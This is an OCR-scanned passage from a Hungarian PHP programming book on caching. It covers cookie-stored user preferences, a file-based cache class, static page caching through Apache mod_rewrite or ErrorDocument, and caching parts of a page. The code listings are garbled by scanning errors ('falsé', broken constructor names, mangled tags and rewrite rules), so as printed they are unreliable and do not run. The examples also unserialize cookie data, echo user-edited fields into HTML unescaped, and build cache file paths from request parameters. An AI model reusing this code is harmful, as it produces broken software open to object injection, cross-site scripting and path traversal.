ment () függvény belsejében, de reményeink szerint ez is alkalmaz gyorstárat. Számos
portáloldalra jellemző, hogy a böngészősáv több oldalon keresztül elkísér, és gyakran ez
a webhely leggyakrabban előállított részlete. Még egy alacsony költségű, optimalizált le-
kérdezés is komoly megterhelést jelenthet a rendszerre nézve, ha túl gyakran hívják meg.
Valójában az lenne a legjobb, ha alkalmazásukat teljességgel el tudnánk kerülni.

Ezt a célt úgy érhetjük el, ha nemcsak a felhasználó nevét, de a beállításait is egy sütiben
tároljuk. Lássunk egy egyszerű burkoló osztályt ennek megvalósításához:

class Cookie_UserInfo {
public $name;
public $userid;
public $interests;
public function _____ construct($user = falsé) {
if($user) {
$this->name = $user->name;
$this->interests = $user->interests();
}
else {
if(array_key_exists("USERINFO", $_COOKIE)) {
list($this->name, $this->userid, $this->interests) =
unserialize($_cookie['USERINFO']);
}
else {
throw new AuthException("no cookie");
}
}
}
public function send() {
$cookiestr = serialize(array($this->name,
$this->userid,
$this->interests));
set_cookie("USERINFO", $cookiestr);
}
}
class AuthException {
public $message;
public function __ construct($message = falsé) {
if($message) {
$this->message = $message;
}
}
}
10. fejezet • Adatösszetevők átmeneti tárolása 283

Ebben a kódrészletben két újdonsággal találkozhatunk. Először is, példát láthatunk arra,
miként lehet egy sütiben több adategységet tárolni. Jóllehet most csak a name, az ID és az
interests tömb szerepel adatként, mivel a serialize függvényt használjuk, bármi-
lyen összetett változót tárolhatnánk. Másodszor, felfedezhetünk egy kódrészletet, amely
kivételt vált ki, ha a felhasználónak nincs sütije. Ez tisztább módszer, mint a tulajdonságok
létezésének ellenőrzése (a korábbi gyakorlatunk), és igen hasznos, ha több ellenőrzést is
végzünk. (Minderről többet a 13. fejezetben tudhatunk meg.)

Az osztály használatához az alábbiakat kell tennünk azon az oldalon, ahol a felhasználó


módosíthatja a beállításait:

$user = new User($name);


$user->set_interest('news-global', 1);
$cookie = new Cookie_UserInfo($user);
$cookie->send();

Itt a set_interest tagfüggvénnyel beállítjuk az első böngészőelemet a külföldi hírek-


re (news-global), és egyúttal rögzítjük az adatbázisban. Ezután létrehozunk egy
Cookie_UserInfo objektumot. Ezt követően, amikor egy User objektumot adunk
át a konstruktornak, a program a Cookie_UserInf o tulajdonságait a User objektum-
ból másolja át. Végül meghívjuk a send() függvényt, ami sorosítja a tulajdonságokat
(a userid mellett a felhasználó nevét és az interests tömböt is), és az eredményt
a felhasználó böngészőjében a USERINFO sütibe helyezi.

A honlap kódja most valahogy így fest:

try {
$usercookie = new Cookie_UserInfo();
}
catch (AuthException $e) {
header{"Location /login.php");
}
$navigation = $usercookie->interests;
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $usercookie->name ?>
</tdx/tr>
<?php for ($i=l; $i<=3; $i++) { ?>
<trxtd>
<!-- 3. hely a böngészősávon -->
<?= generate_navigation($navigation[$i] ) ?>
284 PHP fejlesztés felsőfokon

</tdx/tr>
<?php } ?>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>

A gyorstár méretének kezelése


Az adatok ügyfél oldali tárolásának valódi szépsége, hogy az itt alkalmazott gyorstótárak
vízszintesen méretezhetők. Mivel az adatok raktározása az ügyfelet terheli, nincs gond
a gyorstár méretének növelésével. A felhasználói adatok sütibe helyezésével két alapvető
gond lehet - a nagy sütik miatt megnövekedett sávszélesség-igény, valamint biztonsági
meggondolások a felhasználók sütikben elküldött adataival kapcsolatban.

A sávszélességgel kapcsolatos aggodalmaknak valóban van valós alapja. Az ügyfél böngé-


szője ugyanis egy kérelem elkészítésekor mindig csatolja az adott tartományhoz tartozó
sütiket. Ezért hát egyetlen kilobájtnyi süti is érezhető változásokat okozhat a sávszélesség
kihasználásában. Mindez persze természetes, hiszen minden gyorstár használata jár bizo-
nyos költségekkel. Míg a kiszolgáló oldalon inkább a tárolás és a fenntartás költségeivel
kell számolnunk, az ügyfélnél inkább a sávszélesség a szűk keresztmetszet. Ha sütiket al-
kalmazunk a gyorstár megvalósítására, ügyeljünk méretük viszonylag alacsonyan tartására.

Bájtzabálók

Egyesek túlzottan is komolyan veszik ez utóbbi tanácsot, és megkísérlik a lehető legki-


sebbre összezsugorítani a sütiket. Ezzel persze semmi baj nincs, de nem árt megjegyezni,
hogy 30 KB-os (viszonylag kicsi) HTML lapok és 1 KB-os (viszonylag nagy) sütik esetén
a HTML kód 1,5%-os csökkentése ugyanakkora hatással van a sávszélességre, mint a süti
10%-os zsugorítása.

Ezzel csak arra utalunk, hogy érdemes mindenre egy átfogóbb nézőpontbői tekinteni.
A HTML kód összehúzása sok esetben hatékonyabb, mintha a kisebb részekkel próbál-
nánk kíméletlenül elbánni.
10. fejezet • Adatösszetevők átmeneti tárolása 285

Egyidejű hozzáférés és az adatok összhangja


A süti alapú gyorstárak esetében a legnagyobb fejtörést az okozza, miként tarthatjuk fris-
sen az adatokat böngészőváltáskor. Amennyiben a felhasználó egyetlen böngészővel dol-
gozik, egyszerűen megírhatjuk úgy az alkalmazást, hogy a gyorstárban raktározott adatok
frissítése belekerüljön a sütikbe is.

Ha azonban egy felhasználó több böngészőt használ (mondjuk egyet otthon, egyet pedig
a munkahelyén), az A böngészőben végzett módosítások láthatatlanok maradnak, amikor
a B böngészőből nézi az adott oldalt, amennyiben ez is rendelkezik saját gyorstárral. Első
ránézésre nincs itt különösebb gond - csak követnünk kell az IP címek segítségével, me-
lyik böngészőt használja a felhasználó, és minden váltásnál érvényteleníteni a gyorstár tar-
talmát. Sajnos ezzel az egyszerű módszerrel két gond is akad:

• A fent említett követéshez fel kell kutatni a felhasználó adatait az adatbázisban -


éppen ezt a lépést szerettük volna elkerülni.
• A módszer egyébként sem működik. A nagy internetszolgáltatók (például az AOL
vagy az MSN) helyettes kiszolgálói elrejtik mind az ügyfél böngészője által küldött
USER_AGENT karakterláncot, mind a kérelem forrásául szolgáló gép IP címét. De
ami még rosszabb, a böngésző típusa és az IP cím gyakran a kérelmek között is
megváltozik. Ez lehetetlenné teszi, hogy ezen adatok bármelyikével is azonosítsuk
a felhasználót.

Az egyetlen dolog, amit tehetünk, hogy a felhasználók viselkedésének jellemzőit alapul


véve elavuló felhasználói állapotjelző sütiket alkalmazunk. Ha például feltételezzük, hogy
a felhasználónak legalább 15 percébe telik, míg vált a böngészők között, hozzábiggyeszt-
hetünk egy időbélyegzőt a sütihez, és ha elavulttá vált, újra kiolvashatjuk a tartalmát az
adatbázisból.

Gyorstárak használata az alkalmazásokban


Az eddigiekben számos módszert megismertünk a gyorstárak használatára, itt az idő,
hogy ezeket valódi alkalmazásokba is beépítsük. Ilyenkor azonban ugyanazzal a gonddal
szembesülünk, mint a szerelő, amikor a szerszámosládájából a megfelelő eszközt próbálja
kiválasztani. Mit használjunk - szöget vagy csavart? Körfűrészt vagy kézifűrészt? Fájl vagy
DBM alapú gyorstárat? Néha egyértelmű a megoldás, de van, hogy az élet valódi döntési
helyzet elé állít.

Rengeteg lehetséges módszer áll a rendelkezésünkre; legjobban úgy választhatunk közöt-


tük, ha lemérjük a különbséget hatékonyságuk között. A következőkben valós, gyakorlati
példák kapcsán ismerkedünk meg a lehetséges megoldási módokkal.
286 PHP fejlesztés felsőfokon

Bemutatott példáinkban sok esetben a Gyorstárak szerkezet nélküli fájlokban címszó alatt
megismert fájlváltási módszert használjuk. A megoldási módszert itt az alkalom szülte, és
a kódot a Cache_File osztállyal kell beburkolnunk a dolgok egyszerűbbé tételére (ha-
sonlóan a Cache_DBM osztályhoz):

<?php
class Cache_File {
protected $filename;
protected $tempfilename;
protected $expriration;
protected $fp;

public function _____ construct($filename, $expiration=false) {


$this->filename = $filename;
$this->tempfilename = "$filename.".getmypid();
$this->expiration = $expiration;
}
public function put($buffer) {
if(($this->fp = fopen($this->tempfilename, "w")) == falsé) {
return falsé;
}
fwrite($this->fp, $buffer);
fclose($this->fp);
rename($this->tempfilename, $this->filename);
return true;
}
public function get() {
if($this->expiration) {
$stat = @stat($this->filename);
if($stat[9]) {
if( t i m e ( ) > $modified + $this->expiration) {
unlink($this->filename);
return falsé;
}
}
}
return @file_get_contents($this->filename);
}
public function remove() {
@unlink($filename);
}
}
?>

Láthatjuk, hogy a Cache_File osztály igencsak hasonlít a Cache_DBM-hez. Van egy


konstruktőrünk, melynek átadjuk a gyorstárfájl nevét, valamint esetleg egy lejárati időt.
A get () tagfüggvény végzi az elavuláskezelését (amennyiben átadtunk lejárati időt), és
10. fejezet • Adatösszetevők átmeneti tárolása 287

visszaadja a gyorstárfájlok tartalmát. A put () az átmeneti tár tartalmát beírja az átmeneti


gyorstárfájlba, majd ezt felcseréli a végső fájllal. A remove () függvény megsemmisíti
a gyorstárfájlt.

Ezt a típusú gyorstárat gyakran használják kimeneti tárból származó oldalak tárolására, így
két „kényelmi" függvényt - begin () és end () - használhatunk a kimenet tárolására
a put () helyett:

public function begin() {


if(($this->fp = fopen($this->tempfilename, "w")) == falsé) {
return falsé;
}
ob_start();
}
public function end() {
$buffer = ob_get_contents() ;
ob_end_flush();
if(strlen($buffer)) {
fwrite($this->fp, $buffer);
fclose($this->fp);
rename($this->tempfilename, $this->filename);
return true;
}
else {
flcose($this->fp);
unlink($this->tempfilename);
return falsé;
}
}

A kimenet kiadása előtt a begin () , utána pedig az end () tagfüggvényt kell meghívnunk.

<?php
require_once 'Cache/File.inc';
$cache = Cache_File("/data/cachefiles/index.cache") ;
if($text = $cache->get()) {
print $text;
}
else {
$cache->begin();
?>
<?php
// itt állítjuk elő az oldalt
?>
<?php
$cache->end();
}
?>
288 PHP fejlesztés felsőfokon

Honlapok tárolása
Az alábbiakban megvizsgáljuk, miként alkalmazhatjuk az eddig megismert gyorstárakat egy
olyan webhelyen, amely lehetővé teszi, hogy a felhasználók nyílt forrású projekteket je-
gyezzenek be, és személyre szabott lapokat készítsenek számukra (ilyen a pear. php. net
vagy a www. f reshmeat. net). Webhelyünk jelentős forgalmat bonyolít le, így a gyorstára-
kat arra szeretnénk használni, hogy felgyorsítsuk az oldalbetöltést és némileg tehermente-
sítsük az adatbázist.

Ezzel a felállással meglehetősen gyakran találkozhatunk. Egy raktárkészlet webes megje-


lenítése, egy webnapló bejegyzései, az egyéni honlapokat tartalmazó webhelyek, vala-
mint a tőzsdék hálózati adatlapjai hasonló igényeket támasztanak a gyorstárakkal szem-
ben. Saját cégem például lehetővé teszi minden dolgozója számára, hogy bizonyos sablo-
nok alapul vételével elkészítsék saját honlapjaikat a cég webhelyen. Az összhang fenntar-
tása végett mindenki bizonyos személyre szabható adatokat tárolhat (egy személyes üze-
netet és néhány szót önmagáról), más előre megadott személyes (rögzített életrajzi ada-
tok) és nem személyes tartalommal (a cég fej- és lábléce, valamint a webhelyhez tartozó
böngészősávok).

Kezdjük a munkát egy egyszerű projekt honlapjával, melyen az alábbi egyszerű adatokat
találhatjuk meg:

class Project {
// A projekt jellemzői
public $name;
public $projectid;
public $short_description;
public $authors;
public $long_description;
public $file_url;

Az osztály konstruktora egy nevet is átvehet. Ha ezt megadjuk a számára, megkísérli be-
tölteni a projekt részleteit. Ha nem találja a projektet a neve alapján, kivételt vált ki. Lás-
suk, miként:

public function______ construct($name = false) {


if($name) {
$this->_fetch($name) ;
}
}
10. fejezet • Adatösszetevők átmeneti tárolása 289

És itt a Pro j ect osztály további része:

protected function _fetch($name) {


$dbh = new DB_Mysql_Test ;
$cur = $dbh->prepare("
SELECT

FROM
projects
WHERE
name = : 1");
$cur->execute($name);
$row = $cur->fetch_assoc();
if($row) {
$this->name = $name;
$this->short_description = $row['short_description'];
$this->author = $row['author'];
$this->long_description = $row['long_description'];
$this->file_url = $row['file_url'];
}
else {
throw new Exception;
}
}
}

A store () tagfüggvénnyel a projekt változásait visszaírhatjuk az adatbázisba:

public function store() {


$dbh = new DB_Mysql_Test() ;
$cur = $dbh->execute("
REPLACE INTŐ
projects
SET
short_description = :1,
author = :2,
long_description = :3,
file_url = :4
WHERE
name = : 5") ;
$cur->execute($this->short_description,
$this->author,
$this->long_description,
$this->file_url,
$this->name);
}
}
290 PHP fejlesztés felsőfokon

Mivel most gyorstárfájlokat írunk ki, tudnunk kell, hová tegyük azokat. Készíthetünk szá-
mukra egy helyet a $CACHEBASE globális beállítási változó segítségével, amely a gyorstár-
fájlok tárolásának legfelső szintű könyvtárát adja meg.

Megoldás lehet az is, ha létrehozunk egy Conf ig globális egyke (singleton) osztályt,
amely minden beállítási paraméterünket tárolja majd. A Proj ect osztályban készíthetünk
egy get_cachef ile () tagfüggvényt, amely megadja az adott projekt gyorstárfájljának
útvonalát:

public function get_cachefile($name) {


global $CACHEBASE;
return "$CACHEBASE/projects/$name.cache";
}

A projekt oldala valójában egy sablon, melyet a megadott részletekkel töltünk fel. így biz-
tosíthatjuk a teljes webhely kinézetének összhangját.

A projekt nevét az oldalnak GET paraméterként adjuk át (az URL valahogy így fest:
http: //www. example. com/project .php?name=ProjectFoo), majd összeállítjuk az
oldalt:

<?php
reguire 'Project.inc';
try {
$name = $_GET['name'];
if(!$name) {
throw new ExceptxonO;
}
$project = new Project($name);
}
catch (Exception $e) {
// Ha bármilyen hiba történik, a látogató ide kerül
header("Locat ion: /index.php");
return;
}
?>

<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
<table>
<tr>
<td>Author: </tdxtd><?= $project->author ?>
</tr>
10. fejezet * Adatösszetevők átmeneti tárolása 291

<tr>
<td>Summary: </tdxtdx? = $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
<td><?= $project->long_description ?></td>
</tr>
</table>
</body>
</html>

Szükség van egy olyan oldalra is, ahol a szerzők saját oldalaikat szerkeszthetik:

<?
require_once 'Proj ect.inc';
$name = $_REQUEST['name'];
$project = new Project($name);
if(array_key_exists("posted", $_POST)) {
$proj ect->author = $_POST['author'];
$project->short_description = $_POST['short_description'] ;
$project->file_url = $_POSTt'file_url'];
$project->long_description = $_POST['long_description'];
$project->store();
}
?>
<html>
<title>Project Page Editor for <?= $project->name ?> </title>
<body>
<form name="editproject" method="POST">
<input type ="hidden" name="name" value="<?= $name ?>">
<table>
<tr>
<td>Author:</td>
<tdxinput type="text" name=author value="<?= $project->author
■ ?>" ></td>
</tr>
<tr>
<td>Summary:</td>
<td>
-cinput type="text"
name=short_description
value="<?= $project->short_description ?>">
</td>
</tr>
<tr>
<td>Availability:</td>
<tdxinput type="text" name=file_url value="<?= $project-
>file_url?>"></td>
</tr>
<tr>
<td colspan=2>
<TEXTAREA name="long_description" rows="20" c ol s = " 8 0" > < ?=
$project->
long_description ?></TEXTAREA>
</td>
</tr>
</table>
<input type=submít name=posted value="Edit content">
</form>
</body>
</html>

Első valódi gyorstárunk a korábban készített Cache_File osztály közvetlen alkalmazása:

<?php
require_once 'Cache_File.inc';
require_once 'Project.inc';
try {
$name = $_GET['name'];
if(!$name) {
throw new ExceptionO;
}
$cache = new Cache_File(Project::get_cachefile($name));
if($text = $cache->get()) {
print $text;
return;
}
$project = new Project($name);
}
catch (Exception $e) {
// Hiba esetén ide kerülünk
header("Locat ion: /index.php");
return;
}
$cache->begin();
?>

<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
10. fejezet • Adatösszetevők átmeneti tárolása 293

<table>
<tr>
<td>Author :</tdxtd><?= $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ? >
</tr>
<tr>
<td>Availability: </tdxtdxa href="<?= $project->f ile_url
?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
</body>
</html>
<?php
$cache->end();
?>

Mindezidáig nem foglalkoztunk az elavulás kérdésével, így a tárolt másolat soha nem fris-
sül - ami nem valami jó hír. Alkalmazhatunk lejárati időt az oldalon, melynek letelte után
a program automatikusan frissíti a tartalmat. Ez azonban nem a legjobb megoldás, mivel
nem pontosan felel meg az igényeinknek. A tárolt adatok ugyanis akármeddig érvényesek
maradhatnak, míg valaki meg nem változtatja azokat. Valójában tehát azt szeretnénk,
hogy a tartalom mindaddig érvényes maradjon, míg az alábbi két dolog valamelyike be
nem következik:

• Az oldal sablonját módosítani kell.


• Egy szerző frissíti a projekt adatait.

Az első esetet magunk is elintézhetjük. Ha módosítanunk kell a sablonokat, egyszerűen


írjuk át a kódot a project .php fájlban, és töröljük a gyorstárfájlokat. Ha ezután új kére-
lem érkezik, a rendszer a helyes sablonnal tárolja az oldalt.

A második esetet úgy kezelhetjük, ha a szerkesztési oldalon gyorstárfrissítést valósítunk


meg. A szerzők csak itt módosíthatják az oldalakat - ha készen van a módosítás, csak el
kell távolítanunk a gyorstárfájlt. Ezek után a projekthez érkező következő kérelem nyo-
mán a gyorstár újra létrejön. A szerkesztési oldalon nem kell sokat változtatnunk - mind-
össze három sort kell a kód elejére írnunk:

<?php
require_once 'Cache/File.inc';
require_once 'Project.inc';
294 PHP fejlesztés felsőfokon

$name = $_REQUEST [ ' name ' ] ;


$project = new Project($name);
if(array_key_exists("posted", $_POST)) {
$project->author = $_POST['author'];
$project->short_description = $_POST['short_description'];
$project->file_url = $_POST['file_url'];
$project->long_description = $_POST['long_description'] ;
$project->store() ;

// eltávolítjuk a gyorstárfájlt
$cache = new Cache_File(Project::get_cachefile($name));
$cache->remove();
}
?>

A gyorstárfájl eltávolítása utáni első kérelem nem éri el a project .php adatainak tárolt
változatát, így új tárolást kezdeményez. Ez persze egy tüskét eredményez az erőforrások
felhasználásában. Amint a korábbiakban már említettük, ennek oka az, hogy az egyidejű
kérelmek külön dinamikus másolatokat készítenek az oldalról, míg valamelyikük be nem
fejezi, és tárolja az eredményt.

Ha projektünk oldalait gyakran látogatják, érdemes lehet előre tárolnunk a tartalmukat


a fentiek megelőzésének érdekében. Ezt egyszerűen megtehetjük, ha az adott oldalt a le-
csatolás helyett megkíséreljük elérni, így elejét vehetjük a versengésnek. A módszer
egyetlen hátulütője, hogy túl sok gyorstárfájl esetén nem valami hatékony. 100 000 gyors-
tárfájl előzetes elérése percekig vagy akár órákig is eltarthat, míg a gyorstár eltávolítása
ennél sokkal gyorsabban elvégezhető. Az előzetes tárolás módszere olyan oldalaknál al-
kalmazható sikerrel, melyeknél a gyorstár tartalmát gyakran érik el a felhasználók. Nem
érdemes azonban alkalmaznunk olyankor, ha ez az elérés ritkább, ha a gyorstárfájlok szá-
mára biztosított hely korlátozott, vagy ha sok gyorstárfájlt kell egyszerre érvényteleníteni.

Az összes oldal újratárolása költséges feladatnak bizonyulhat, ezért hát folyamodhatunk


a pesszimista megközelítéshez is, és egyszerűen el is távolíthatjuk a gyorstárfájlokat a fris-
sítés érdekében. A következő alkalommal, amikor az oldalt lekérik, a gyorstár nem képes
megfelelni az igényeknek, így a rendszer feltölti a friss adatokkal. Olyan alkalmazások
esetén, melyek több ezer vagy százezer gyorstárfájlt használnak, ez a pesszimista megkö-
zelítés hosszabb időtartamra húzhatja szét a frissítést, és „gyors" érvénytelenítést tesz lehe-
tővé a gyorstárban.

E megközelítéssel két apró gondunk lehet - az egyik inkább felszíni, míg a másik technikai:

• A http://example.com/project.php?project=myproject URL kevésbé


bizalomgerjesztő, mint a http: //example.com/project/myproject .html.
Mindazonáltal, ha jobban belegondolunk, ez nem is teljesen felszíni probléma.
10. fejezet • Adatösszetevők átmeneti tárolása 295

• A tárolt oldal megjelenítéséhez futtatnunk kell a PHP értelmezőt. Sőt, nem csak ér-
telmeznünk és végrehajtanunk kell a project .php fájlt, de még a gyorstárfájl
megnyitása és olvasása is ránk vár. Ha az oldalt tároltuk, az teljességgel statikus, így
a fenti teher már nem nyomja vállunkat.

A gyorstárfájlt egyszerűen az alábbi alakban írhatjuk ki:

/www/htdocs/projects/myproject.html

Ily módon az oldal tartalma közvetlenül a Webről is elérhető, mindennek eredményekép-


pen azonban a frissítés egyes részletei a felhasználók szeme elé kerülhetnek. Ha eltávolít-
juk a gyorstárfájlt, minden rá irányuló kérelem a 404 Object Not Found hibával tér
vissza. Ez persze nem okoz gondot, ha az oldalt csak a felhasználói szerkesztőoldalról
módosítják (hiszen a rendszer az írás folyamán frissíti a gyorstárat), de nagy bajba kerül-
hetünk, ha az összes oldalt egyszerre kívánjuk frissíteni.

Az Apache modrewrite modulja - tárolás okosan


Ha a PHP-t Apache rendszerrel használjuk, a mod_rewrite segítségével teljesen statikus
HTML gyorstárfájlok használata mellett megtarthatjuk a frissítés rejtettségét.

Ha Apache kiszolgálót használunk, és még nem ismerjük a mod_rewrite-ot, tegyük le


a könyvet, és olvassunk egy kicsit utána. A megfelelő hivatkozásokat megtalálhatjuk a fe-
jezet végén. Meglátjuk majd, nem hiába fáradtunk - a mod_rewrite valóban nagyszerű
segítőtárs.

A mod_rewrite egy URL-újraíró motor, amely az Apache kiszolgálóhoz kapcsolódik, le-


hetővé téve az URL-ek szabály alapú újraírását. Számtalan lehetősége közül az alábbiakat
emelnénk ki:

• Belső átirányítások, amelyek a visszaadott URL-eket teljes mértékben az Apache-


ban, a felhasználó elől rejtve írják át.
• Külső átirányítások.
• Helyetteskérelmek (együttműködve a mod_proxy modullal).

Nem lenne nehéz egy egész könyvet írni a mod_rewrite használatának lehetőségeiről,
sajnálatos módon azonban szűkös időnk csak azt teszi lehetővé, hogy az itt felmerült fel-
adat megoldásának kapcsán mutassuk be képességeit.

Azt szeretnénk tehát, hogy a pro j ect. php gyorstár-fájljait HTML fájlokként a dokumen-
tumkönyvtáron belül a /www/htdocs/projects/ProjectFoo.html címre írhassuk,
így a látogatók a ProjectFoo honlapot egyszerűen elérhetik a következő címen:
http://www.example.com/projects/ProjectFoo.html.
296 PHP fejlesztés felsőfokon

A gyorstárfájlt e helyre írni nagyon egyszerű - csak módosítanunk kell


a Project: :get_cachef ile () tagfüggvényt:

function get_cachefile($name) {
$cachedir = "/www/htdocs/projects" ;
return "$cachedir/$name.html";
}

A gond csak az, hogy nem tudjuk, mit tegyünk, ha hiányzik ez a fájl. Szerencsére
a mod_rewrite megadja a választ. Készíthetünk ugyanis egy szabályt, ami azt mondja:
„ha a gyorstárfájl nem létezik, irányíts át egy olyan oldalra, ami feltölti a gyorstárat, és add
vissza a kapott tartalmat." Nos, ez egyszerűen hangzik — mert az is!

Elkészítjük tehát a mod_rewrite szabályt:

<Directory /projects>
RewriteEngine On
RewriteCond /www/htdocs/%{REQUEST_FILENAME} í - f
RewriteRule Vprojects/(.*).html /generate_project.php?name=$l
</Directory>

Mivel minden gyorstárfájlt a projects könyvtárba írtunk, bekapcsolhatjuk az újraíró mo-


tort a RewriteEngine On utasítással. Ezután a RewriteCond szabállyal beállíthatjuk az
újraírás feltételét:

/www/htdocs/%{REQUEST_FILENAME} !-f

Vagyis, ha a /www/htdocs/$ [REQUEST_FILENAME] nem fájl, a szabály teljesül. így, ha


a /www/htdocs/projects/ProjectFoo.html nem létezik, továbbhaladunk az újra-
íráshoz:

RewriteRule "Vprojects/(.*)-html /generate_project.php?name=$l

Ez összeveti a kérelem URI-jét (/projects/ProjectFoo.html) az alábbi szabályos ki-


fejezéssel:

^/projects/(.*).html

Ez a zárójelben levő kifejezéssel egyező elemeket a $1 változóban tárolja (esetünkben ez


a ProjectFoo). Ha van egyezés, egy belső átirányítás keletkezik (ami teljesen rejtve marad
a végfelhasználó elől), átírva a szolgáltatott URI-t a /generate_project .php?name=$l
alakba (ez esetünkben a /generate_project .php?name=ProjectFoo).
10. fejezet • Adatösszetevők átmeneti tárolása 297

Már csak a generate_proj ect .php maradt hátra. Szerencsére ez csaknem megegyezik
az eredeti pro j ect. php oldallal, de feltétel nélkül tárolnia kell az oldal kimenetét. Lás-
suk a kódját:

<?php
require 'Cache/File.inc';
require 'Project.inc';
try {
$name = $_GET[name];
if(!$name) {
throw new Exception;
}
$project = new Project($name);
}
catch (Exception $e) {
// hiba esetén ide kerülünk
header("Location: /index.php");
return;
}
$cache = new Cache_File(Project::get_cachefile($name) ) ;
$cache->begin();
?>

<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
<table>
<tr>
<td>Author:</tdxtd><?= $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
</body>
</html>
<?php
$cache->end();
?>
298 PHP fejlesztés felsőfokon

A mod_rewrite helyett használhatjuk az Apache ErrorDocument utasítását is, mellyel


az egyéni hibaoldalak megjelenítését támogatja. Ennek beállításához újraírási szabályain-
kat a httpd. conf állományban az alábbi utasítással helyettesíthetjük:

ErrorDocument 4 04 /generate_project.php

Ezzel tudatjuk az Apache kiszolgálóval, hogy 404-es hiba esetén (például ha a kért doku-
mentum nem létezik) irányítsa át belsőleg a felhasználót a /generate_project .php
címre. Ez lehetővé teszi a webmester számára, hogy saját hibaoldalra vigye a felhasználót,
ha nincs meg a kért dokumentum. Létezik azonban egy másik alkalmazása is - helyettesít-
hetjük vele az újraírási szabályokat.

Miután elhelyeztük az ErrorDocument utasítást a httpd. conf állományban,


a generate_project .php felső blokkját meg kell változtatnunk úgy, hogy
a $_SERVER [ ' REQUESTMJRI' ] -t használja ahelyett, hogy a $name változót adná
át a $_GET [ ] paramétereként. A generate_pro j ect. php végül így fest majd:

<?php
require 'Cache/File.inc';
require 'Project.inc';
try {
$name = $_SERVER['REQUEST_URI'] ;
if(!$name) {
throw new Exception;
}
$project = new Project($name) ;
}
catch (Exception $e) {
// hiba esetén ide kerülünk
header("Location: /index.php");
return;
}
$cache = new Cache_File(Project::get_cachefile($name));
$cache->begin();
?>

Egyébiránt a program viselkedése megegyezik azzal, amit a mod_rewrite szabályának


alkalmazásánál tapasztaltunk.

Az ErrorDocument utasítás nagyszerű lehetőséget ad statikus tartalmak menet közbeni


előállítására, ami különösen akkor jöhet jól, ha nem tudjuk elérni a kiszolgálónkat, és így
nem biztosított a mod_rewrite motor használhatósága. Mindazonáltal jómagam szeretem
feltételezni, hogy a saját kiszolgálóm felett rendelkezhetek, így a mod_rewrite használa-
tát részesítem előnyben. Ez ugyanis igen sokoldalú eszköz, mellyel szükség esetén jóval
összetettebb kódot is megvalósíthatunk a gyorstár frissítésére.
10. fejezet • Adatösszetevők átmeneti tárolása 299

Ráadásul, mivel az ErrorDocument kezelőt hívtuk, a kapott oldal a 404-es hibakóddal


tér vissza, az „érvényes" lapoknál megszokott 200-as kód helyett. A legtöbb böngészőnek
nem okoz gondot ez a kettősség, de vannak olyan eszközök, amelyek nem szeretik, ha
egy érvényes lappal a 404-es hibakód érkezik. Szerencsére ezen is segíthetünk, ha egy
header () paranccsal magunk állítjuk be a visszatérési kódot:

header("$_SERVER['SERVER_PROTOCOL'] 2 00");

Oldalak részeinek tárolása


Gyakran előfordul, hogy nem tudjuk tárolni a teljes oldalt, de szeretnénk, ha egyes részeit
mégis csak elraktározhatnánk. Jó példa erre a személyre szabott böngészősávok esete,
melyet a Süti alapú gyorstárak címszó alatt tárgyaltunk. Ott a felhasználó navigációs beál-
lításait egy sütiben tároltuk, és az alábbiak szerint használtuk fel:

<?php
$userid = $_COOKIE['MEMBERID'] ;
$user = new User($userid);
if ( !$user->name) {
header("Location: /login.php") ;
}
$navigation = $user->get_interests() ;
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $user->name % > ' s Home
</tdx/tr>
<?php for($i=l; $i<=3; $i++) { ?>
<trxtd>
<!-- hely a böngészősávon: <?= $i ?> -->
<?= generate_navigation_element($navigation[$i] ) ?>
</tdx/tr>
<?php } ?>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>

Itt a generate_navigation_component () eredményét próbáltuk tárolni. Kis oldalré-


szek esetén a feladat nem is nehéz. Mindenekelőtt persze meg kell írnunk ezt a függ-
300 PHP fejlesztés felsőfokon

vényt. Ehhez idézzük fel, hogy a $navigation változó témakör-alfejezet párokból állt,
mint sports-football (sport-futball), weather-21046 (időjárás-21046), project-
Foobar, vagy news-global (hírek-külföld). A generate_navigation megvalósítható
egy elosztóként (továbbítóként) is, amely az átadott témakörtől függően más és más tarta-
lom-előállító függvényt hív meg:

<?php
function generate_navigation($tag) {
list ($topic, $subtopic) = explode('-', $tag, 2);
if(function_exists("generate_navigation_$topic") ) {
return call_user_func("generate_navigation_$topic", $subtopic);
}
else {
return 'unknown';
}
}
?>

A projekt összefoglalójához tartozó tartalom-előállító függvény így fest:

<?php
require_once 'Project.inc';
function generate_navigation_project($name) {
try {
if(!$name) {
throw new Exception();
}
$project = new Project($name);
}
catch (Exception $e){
return 'unknown project';
}
?>
<table>
<tr>
<td>Author: </tdxtdx? = $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
10. fejezet • Adatösszetevők átmeneti tárolása 301

<td><?= $project->long_description ?></td>


</tr>
</table>
<?php
}
?>

Nos, ez pont úgy néz ki, mint az első próbálkozásunk a projekt teljes oldalának tárolására
- és valóban, ugyanazt a tárolási módszert használhatjuk itt is. Az egyetlen eltérés, hogy
itt meg kell változtatnunk a get_cachef ile függvényt, hogy elkerüljük az ütközéseket
a teljes oldal gyorstárfájljaival:
<?php
require_once 'Project.inc';
function generate_navigation_project($name) {
try {
if(!$name) {
throw new Exception;
}
$cache = new Cache_File(Project::get_cachefile_nav($name));
if($text = $cache->get()) {
print $text;
return;
}
$project = new Project($name)j
$cache->begin();
}
catch (Exception $e){
return 'unkonwn project1;
}
?>
<table>
<tr>
<td>Author :</tdxtdx? = $project->author ? >
</tr>
<tr>
